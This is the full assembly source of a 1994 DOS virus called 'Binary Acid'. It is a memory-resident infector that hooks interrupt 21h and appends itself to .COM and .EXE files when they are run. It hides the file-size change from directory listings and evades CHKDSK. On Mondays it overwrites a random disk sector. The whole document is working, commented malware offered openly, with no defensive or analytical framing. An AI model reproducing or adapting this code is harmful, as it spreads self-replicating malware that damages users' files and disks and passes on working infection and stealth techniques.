;Binary Acid Virus ;by Evil Avatar ;Another lame virus by me. Then again, not bad for my second virus! ;This is a resident .COM/.EXE/.OV? infector that infects on file runs. ;It does hide the size change AND avoids CHKDSK and its ilk. ;Plenty more from me to come. Stay tuned. .model tiny ;if you are lost already, you .code ;shouldn't be playing with viruses org 0h v_mem equ (v_end-Acid+15)/16+1 v_word equ (v_end-Acid)/2 id equ 0a0ffh v_file equ (heap-Acid) Acid: call next next: pop bp sub bp, offset next ;get delta offset mov ax, id sub bx, bx int 21h ;residentcy install check push es ;save PSP segment cmp bx, id ;are we here already? je check ;then exit mov ax, 3521h int 21h ;get int 21h vector mov word ptr [bp+save_21], bx mov word ptr [bp+save_21+2], es ;save int 21h vector mov ax, ds ;ds=PSP segment dec ax ;ax=MCB segment mov es, ax ;es=MCB segment cmp byte ptr es:[0], 'Z' ;is it last MCB in chain? jne done ;no? exit sub word ptr es:[3], v_mem ;allocate memory for virus sub word ptr es:[12h], v_mem ;change TOM field in PSP mov ax, es:[12h] ;find virus MCB segment mov es, ax ;es=virus MCB segment mov byte ptr es:[0], 'Z' ;mark as last in MCB chain mov word ptr es:[1], 8 ;DOS now owns this mov word ptr es:[3], v_mem-1 ;set the size of segment inc ax ;ax=virus segment mov es, ax ;es=virus segment lea si, [bp+offset Acid] ;start of virus sub di, di ;clear di mov cx, v_word ;virus size in words rep movsw ;copy virus to TOM push es pop ds ;put segment in ds mov ax, 2521h mov dx, offset int21 int 21h ;set new int 21h vector in virus check: pop es ;restore es mov ah, 2ah int 21h ;get date cmp al, 1 ;is it a monday? je destroy ;chew a sector return: cmp sp, 0abcdh ;is this an .exe file? jne done ;no? restore com stuff push es pop ds mov ax, es ;ax=PSP segment add ax, 10h ;adjust for PSP size add word ptr cs:[bp+comsave+2], ax ;set up cs add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss cli ;clear ints for stack manipulation mov ss, ax ;set ss mov sp, word ptr [bp+_ss_sp] ;set sp sti ;restore ints db 0eah ;jump to old program comsave db 0cdh, 20h, 0, 0 destroy: in al, 40h xchg al, ah in al, 40h ;get a random number xchg ax, dx mov cx, 1 mov ax, 2 int 26h ;and crunch that sector jmp return ;return to program done: push cs pop ds ;ds=cs push cs pop es ;es=cs mov di, 100h ;beginning of program push di ;for later return lea si, [bp+comsave] ;first 3 bytes of program movsb movsw ;restore first 3 bytes ret ;return to program int21: cmp ax, id ;is this an installation check? je vcheck ;yes? tell 'em we're here push bx push cx push si push di push es push dx push ds ;save regs push ax cmp ah, 4bh ;hmm..execute huh? well, they je v_com ;did it to themselves cmp ah, 11h ;dir check je dirfix cmp ah, 12h ;dir check je dirfix pop ax pop ds pop dx intpop: pop es pop di pop si pop cx pop bx ;restore regs jmp dword ptr cs:[save_21] ;jump to DOS int 21h vcheck: xchg ax, bx ;put ID into bx iret dirfix: pushf call dword ptr cs:save_21 ;simulate int 21h call mov word ptr cs:[buffer], ax ;save return push ax push si pushf ;save the new flags mov si, sp mov ax, [si] ;get new flags mov [si+10], ax ;put them where old flags are popf pop si pop ax test al, al ;see if file is found jnz nofile ;if none, exit mov ah, 51h int 21h ;get PSP segment mov es, bx cmp bx, es:[16h] ;is it DOS? jne nofile ;no? avoid CHKDSK mov ah, 2fh int 21h ;get DTA in es:bx cmp byte ptr ds:[bx], -1 ;is it extended FCB? jne cont add bx, 7 ;then add 7 to pointer cont: mov cx, ds:[bx+17h] ;get time and cx, 1fh ;get seconds cmp cx, 1fh ;if not 62 secs then exit jne nofile sub ds:[bx+1dh], v_file sbb word ptr ds:[bx+1fh], 0 ;subtract virus size nofile: pop ax ;if you can read this pop ds ;you don't need glasses pop dx pop es pop di pop si pop cx pop bx ;restore regs mov ax, word ptr cs:[buffer] ;restore return type iret v_com: push ds push dx push cs pop ds mov ax, 3524h int 21h ;get critical error handler mov word ptr [save_24], bx mov word ptr [save_24+2], es ;save it mov ax, 2524h mov dx, offset int24 int 21h ;set new critical error handler pop dx pop ds push cs pop es mov ax, 4300h int 21h ;get attributes of file push cx ;save attributes mov ax, 4301h sub cx, cx int 21h ;clear attributes jc booster mov ax, 3d02h int 21h ;open file xchg ax, bx ;put handle in bx push cs pop ds ;ds=cs for all references jmp past_booster booster: ;i hate having to use these pop cx pop ax pop ds pop dx push ax jmp bad_file text db 'KW' ;you'll never guess past_booster: mov ah, 3fh mov cx, 1ah mov dx, offset buffer int 21h ;read first 1ah bytes mov ax, 5700h int 21h ;get file time and date mov word ptr [time], cx ;save time mov word ptr [date], dx ;save date and cx, 1fh ;get seconds cmp cx, 1fh ;is it 62 secs? je close ;already infected cmp word ptr [buffer], 'ZM' je v_exe cmp word ptr [buffer], 'MZ' je v_exe ;if .exe file then infect it mov si, offset buffer mov di, offset comsave movsb movsw ;move combytes to comsave mov ax, 4202h sub cx, cx cwd int 21h ;move pointer to EOF sub ax, 3 mov byte ptr [buffer], 0e9h mov word ptr [buffer+1], ax ;set up jump write_virus: mov ah, 40h mov cx, v_file cwd int 21h ;write virus to EOF mov ax, 4200h sub cx, cx int 21h ;go to beginning of file mov ah, 40h mov cx, 1ah ;restore buffer size mov dx, offset buffer int 21h ;write header or jump sign: mov ax, 5701h mov cx, word ptr [time] ;get time or cx, 1fh ;set seconds to 62 mov dx, word ptr [date] ;get date int 21h ;set file time and date close: mov ah, 3eh int 21h ;close file pop cx ;get attributes pop ax pop ds pop dx ;get file name push ax mov ax, 4301h int 21h ;restore attributes bad_file: push ds push dx mov ax, 2524h lds dx, dword ptr cs:[save_24] int 21h ;restore old int 24h pop dx pop ds pop ax jmp intpop ;return to caller v_exe: push bx les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax mov word ptr [comsave], ax ;save ip mov word ptr [comsave+2], es ;save cs les ax, dword ptr [buffer+0eh] ;get ss:sp mov word ptr [_ss_sp], es ;save sp mov word ptr [_ss_sp+2], ax ;save ss add word ptr [buffer+0ah], v_mem ;set new minimum memory requested mov ax, word ptr [buffer+8] ;get header size mov cl, 10h mul cl ;change to bytes push ax ;save it mov ax, 4202h sub cx, cx cwd ;move file pointer to EOF int 21h ;and get file size in dx:ax pop cx ;restore header size push dx push ax ;save file size sub ax, cx sbb dx, 0 ;get new cs:ip mov word ptr [buffer+16h], dx ;save cs mov word ptr [buffer+14h], ax ;save ip mov word ptr [buffer+0eh], dx ;save ss mov word ptr [buffer+10h], 0abcdh ;save sp pop ax pop dx ;get file size add ax, (v_end-Acid) adc dx, 0 ;add virus size mov cx, 200h div cx ;convert to pages push ax ;save it or dx, dx ;is there a remainder? je remainder ;yes? increment number of pages inc ax remainder: mov word ptr [buffer+4], ax ;save number of pages pop ax and ah, 1 mov word ptr [buffer+2], ax ;file size MOD 512 pop bx jmp write_virus int24: mov al, 3 ;fail the call iret vname db '[Binary Acid]', 0 ;do you need this explained??? author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!) _ss_sp dd ? ;stack pointer heap: ;variables save_21 dd ? ;int 21h entry save_24 dd ? ;int 24h entry time dw ? ;file time date dw ? ;file date buffer db 1ah dup (?) ;buffer v_end: end Acid